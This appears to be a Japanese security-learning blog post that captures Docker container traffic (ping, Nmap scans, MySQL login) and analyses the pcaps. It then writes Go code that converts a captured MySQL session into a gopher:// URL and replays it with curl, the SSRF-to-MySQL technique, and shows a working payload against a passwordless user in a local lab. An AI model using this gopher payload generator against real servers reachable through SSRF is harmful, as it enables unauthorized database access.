docker間通信をtcpdumpしてpcapをいじる
IPFactory Advent Calendar 2019 14日目の予定だったが繰り上げて6日目(に代打投稿).
IPFactory 3年 azaraです
自分で意図して作ったパケットを見たいのとCTF Writeupで見た攻撃手法で面白そうだったGopherプロトコルでMySQL叩いてみると言うのを試してみたかったのでこの機にやってみる。
前提情報
名称 | バージョン |
---|---|
macOS | Catalina 10.15.1 |
Docker | version 19.03.5, build 633a0ea |
Go | Docker golang:latest |
目次
いろんな通信を眺める
準備
まずはdocker-compose
,client/Dockefile
,app/Dockefile
を書いていく。各個人でgolangの入ったapp
とclient
を用意してもらって、MySQLを用意してもらえればいいです。
僕が使ったのはこちら
File構造
. ├── app │ ├── Dockerfile │ └── src ├── cap ├── client │ ├── Dockerfile │ └── src ├── db └── docker-compose.yml
docker networkの作成
dockerのIP固定のためにDockerNetworkを作成
docker network create \ --subnet 192.168.208.0/24 \ --gateway 192.168.208.254 \ docker-pcap
docker-compose.yml
version: "3" services: db: image: mysql:5.7 container_name: mysqlhost networks: docker-pcap: ipv4_address: 192.168.208.2 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: test_database MYSQL_USER: docker MYSQL_PASSWORD: docker TZ: "Asia/Tokyo" command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci volumes: - ./docker/db/data:/var/lib/mysql - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf - ./docker/db/sql:/docker-entrypoint-initdb.d ports: - 3306:3306 client: restart: always container_name: "client" build: ./client tty: true networks: docker-pcap: ipv4_address: 192.168.208.3 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap links: - db:mysqlhost volumes: - ./cap/:/tmp/cap app: restart: always build: ./app container_name: "app" working_dir: "/root/" ports: - 80:80 tty: true networks: docker-pcap: ipv4_address: 192.168.208.4 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap volumes: - ./cap/:/tmp/cap networks: docker-pcap: external: name: docker-pcap
client/Dockerfile
FROM golang:latest RUN apt update RUN apt -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt install -y nmap curl git wget tcpdump ltrace strace COPY ./src /go/src/app WORKDIR /go/src/app RUN go get github.com/go-sql-driver/mysql RUN go build .
app/Dockerfile
FROM golang:latest RUN apt-get update RUN apt-get -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt update -y && apt upgrade -y && apt install -y tcpdump COPY ./src /go/src/app WORKDIR /go/src/app
Pingを眺める
ここまできたらdocker-compose up -d
でapp
とclient
を実行して疎通確認をしていく。
各IPの対応表
name | IP |
---|---|
mysqlhost(db) | 192.168.208.2 |
client | 192.168.208.3 |
app | 192.168.208.4 |
❯ docker-compose exec client ping 192.168.208.4 -c 5 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4162ms rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms
疎通の確認ができたので、docker-compose stop
でサーバーを止めキャプチャ結果を見てみよう。
赤枠で囲った箇所が今回送ったpingの範囲。
普段疎通確認程度でしかpingを送っていなかったが詳しく見てみるとdataが送れるようだったので試しに送ってみようと思う。
pin data
ここでキャプチャしたpcapは(app|client)_ping.pcap
として保存しておく。
実際に送ってみた
#ひとまず適当な値をpad-byte(-p)に詰め込む ❯ docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65 PATTERN: 0xff61ff62ff63ff65 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4151ms rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms
するとデータには次のような結果が出てくる
48bytesになるまでパターンとして詰められたff61ff62ff63ff65
が確認できる。
次にpacketsizeを大きくしてみたらどうなるのか?と思い投げつけてみる。
❯ docker-compose exec client ping 192.168.208.4 -c 1 -s 65467 PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data. 65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms --- 192.168.208.4 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms
IPv4を1514bytes(内dataは1480bytes)を連続して送りICMP(echo request)を途中で送り、最後にICMP(echo reply)を返している。
pcap file
IPv4で送信されたdata(一部抜粋)
データ送信関係はひとまずこのくらいにしてdocker-compose stop && docker-compose rm
を実行してコンテナを消しておく。
Nmapのスキャンを眺める
次はNmapを実行してどのような動きをしているかみていこう。
はじめに一つのポートをスキャンしてみる。
❯ dcexec client nmap -p 80 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00016s latency). PORT STATE SERVICE 80/tcp closed http MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
ポートが単体の場合はARPを流して、二度80番ポートにスキャンをかけている。なぜ二度ポートスキャンをしているのか、検証は後日にする。
それでは80と443をスキャンした場合どうなるのか?
❯ dcexec client nmap -p 80,443 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00014s latency). PORT STATE SERVICE 80/tcp closed http 443/tcp closed https MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
2つの場合は一つ一つのポートに流し込んでいる。
ここで取得したpcapは(app|client)_nmap80,443.pcap
次に1-10の10個のポートに対してスキャンをしていく。
❯ dcexec client nmap -p 1-10 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.000085s latency). PORT STATE SERVICE 1/tcp closed tcpmux 2/tcp closed compressnet 3/tcp closed compressnet 4/tcp closed unknown 5/tcp closed rje 6/tcp closed unknown 7/tcp closed echo 8/tcp closed unknown 9/tcp closed discard 10/tcp closed unknown MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
不規則な順序でポートスキャンをしている。
不規則な順序にしない場合は-r
をつけることで解決される。
❯ dcexec client nmap -r -p 1-10 192.168.208.4 ~~略~~ Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
次に-A
をつけて検査をする。
❯ dcexec client nmap -A 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00013s latency). All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed MAC Address: 02:42:C0:A8:D0:04 (Unknown) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms app.docker-pcap (192.168.208.4) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
はじめは通常のスキャンのようにランダムにポートをスキャンする。
ポートスキャン終了後に1番に対して何度かtcp通信の再送タイムアウト(TCP Retransmission)や重複したACK(TCP Dup ACK)が帰ってきている。
MySQLとのやりとりを眺める
続いてMySQLのやりとりをみていく。
client/src/main.go
package main import ( "database/sql" "log" _ "github.com/go-sql-driver/mysql" ) var ( dbms = "mysql" credential = "docker:docker" testuser = "test_user" access = "tcp(db:3306)" dbname = "test_database" ) func main() { mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname) db, err := sql.Open(dbms, mysqlaccess) if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } defer db.Close() }
軽くgoで接続用のコードを書いて通信を見ていく。
docker-compose build docker-compose up -d docker-compose exec client ./app docker-compose stop docker-compose rm [y]
先ほど書いたコードの中で、Serverに挨拶 -> login -> db ping -> quit
という一連の流れをしている。
3way hand shake
server greeting
MySQLプロトコルは、はじめに次のような挨拶を交わします。
今回の場合は、認証方式はmysql_native_password
で各種saltなどをclientに送り通信を始めます。
Login Request
パスワードは先ほど受け取ったsaltを用いたハッシュを送信する。
コード内部でdbnameを指定しているので、今回はSchemaに名前が入っている。
Response Ok & Ping & Quit
Request OK
検証しそのユーザーが正しい場合はこのメッセージを返す。
Quit
このMySQLプロトコルにのっとってコマンドやMySQLの操作をする。
client/src/main.go
// ~~前略~~ if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } _, err = db.Query("select @@version_comment limit 1") if err != nil { panic(err) } defer db.Close() }
Query
Response
ここで取得したpcapをclient_mysql.pcap
として保存しておく
GoでGopherプロトコルを流すコードを書く
使うライブラリは https://github.com/google/gopacket
まずは手始めにMySQLの通信をGopher schemaに変換するコードを書く。
Gopher schemaで通信を行う場合gopher://host:port/_tcp stream(%Encoding)
になるのでこの形式に整形しなければいけない。
コードにするとこんな感じ
src/main.go
package main import ( "fmt" "strings" "github.com/google/gopacket/layers" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) var ( pcapfile = "../cap/client_mysql.pcap" mysqlhost = "192.168.208.2" client = "192.168.208.3" ) func main() { pcaphandle, err := pcap.OpenOffline(pcapfile) if err != nil { panic(err) } defer pcaphandle.Close() packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType()) //displayPacket(packetSource) convGopher(packetSource) } func convGopher(packetSource *gopacket.PacketSource) { var gopherpayload map[string]string gopherpayload = map[string]string{client: "", mysqlhost: ""} for packet := range packetSource.Packets() { ipv4l := packet.Layer(layers.LayerTypeIPv4) tl := packet.Layer(layers.LayerTypeTCP) ipv4, _ := ipv4l.(*layers.IPv4) if tl == nil || packet.ApplicationLayer() == nil { continue } tcp, _ := tl.(*layers.TCP) if tcp.FIN { break } if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) { gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "") } } fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client]) } func stringRawData(payload []byte, hexTop, joinString string) (raw string) { var hexs = make([]string, len(payload)) for i, v := range payload { hexs[i] = fmt.Sprintf("%s%02x", hexTop, v) } raw = strings.Join(hexs, joinString) return raw }
この状態で接続自体が可能かを確かめてみる。
❯ pwd /<file path>/docker-lab/src ❯ go run . Gopher : gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 ❯ docker-compose build && docker-compose up -d ~~ 中略~~ Successfully built 50d1b4d43281 Successfully tagged docker-ssrf_app:latest mysqlhost is up-to-date app is up-to-date client is up-to-date ❯ docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0 a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% 00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a %8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6 5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 J 5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)
今回の場合MySQLにパスワードがかかっているので、パスワード認証プロセスが挟まれる。
MySQLのパスワード認証プロセスは次のような形となる。
- サーバーに挨拶
- チャレンジレスポンスのためのソルトを送信
- クライアントはそのソルトとパスワードを元にレスポンスを生成
- レスポンスを送信後からDBの操作が可能となる
この場合MySQLを非対話形式で叩いてもMySQLは動作しません。
次にパスワードなしでやってみる。
client/src/main.go
//~~~前略~~~ 20行目 mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname) //~~~中略~~~ 31行目から quitコマンド送信のため rows, err := db.Query("select @@version_comment limit 1") if err != nil { panic(err) } err = rows.Close() if err != nil { panic(err) } //~~~後略~~~
実行
docker-compose build docker-compose up -d docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database docker-compose exec client ./app docker-compose stop docker-compose rm [y]
次のこのpcapを元にgopherを生成する。
❯ go run . Gopher : gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01
その後実行をすると次のように表示される。
> docker-compose build docker-compose up -d docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01 J 5.7.28~Sx. n?m�����X06Qu;c<5mysql_native_password'def@@version_comment -p��MySQL Community Server (GPL)� > docker-compose stop docker-compose rm [y]
dumpしたpcapを確認すると実際にMySQLプロトコルで通信をしていることがわかる。
以上!
参考
Docker doc
TCP Error
gopacketでpcapを読み込む
gopacket
SSRF攻击MySQL